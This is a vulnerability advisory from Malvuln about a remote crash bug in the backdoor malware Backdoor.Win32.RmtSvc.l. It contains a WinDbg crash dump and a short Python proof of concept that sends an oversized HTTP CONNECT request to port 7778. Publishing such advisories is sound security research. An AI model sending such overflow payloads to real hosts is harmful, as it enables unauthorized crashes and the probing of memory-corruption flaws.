Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/38f9ee3ce51ead0ce6bf2edcaa462611.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.RmtSvc.l Vulnerability: Remote Denial of Service Description: The malware listens on TCP port 7778. Third-party attackers who can reach infected systems can send a specially crafted junk HTTP CONNECT request to trigger an access violation and crash. Type: PE32 MD5: 38f9ee3ce51ead0ce6bf2edcaa462611 Vuln ID: MVID-2021-0348 Disclosure: 09/25/2021 Memory Dump: (2898.3768): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000003 edi=00000003 eip=776ced3c esp=0454f08c ebp=0454f21c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 776ced3c c21400 ret 14h 0:004> .ecxr eax=74006082 ebx=0454fc94 ecx=00000000 edx=00000000 esi=00000000 edi=74006082 eip=004440a8 esp=0454f9cc ebp=74006082 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 *** WARNING: Unable to verify checksum for Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x440a8: 004440a8 c6043e00 mov byte ptr [esi+edi],0 ds:002b:74006082=00 0:004> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8 004440a8 c6043e00 mov byte ptr [esi+edi],0 EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 004440a8 (Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x000440a8) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 74006082 Attempt to write to address 74006082 PROCESS_NAME: Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 74006082 WRITE_ADDRESS: 74006082 FOLLOWUP_IP: Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8 004440a8 c6043e00 mov byte ptr [esi+edi],0 MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00003768 BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE_EXPLOITABLE DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE_EXPLOITABLE LAST_CONTROL_TRANSFER: from 004484dd to 004440a8 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0454f9d8 004484dd 74006082 00000000 74006082 Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x440a8 0454fc94 00000000 00000000 09ac8600 00000000 Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+0x484dd STACK_COMMAND: ~4s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611 IMAGE_NAME: Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe DEBUG_FLR_IMAGE_TIMESTAMP: 45b41639 FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_Backdoor.Win32.RmtSvc.l.38f9ee3ce51ead0ce6bf2edcaa462611.exe!Unknown BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_Backdoor_Win32_RmtSvc_l_38f9ee3ce51ead0ce6bf2edcaa462611+440a8 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=7778 s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) JUNK="A"*1000 PAYLOAD="CONNECT /"+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n" s.send(PAYLOAD) s.close() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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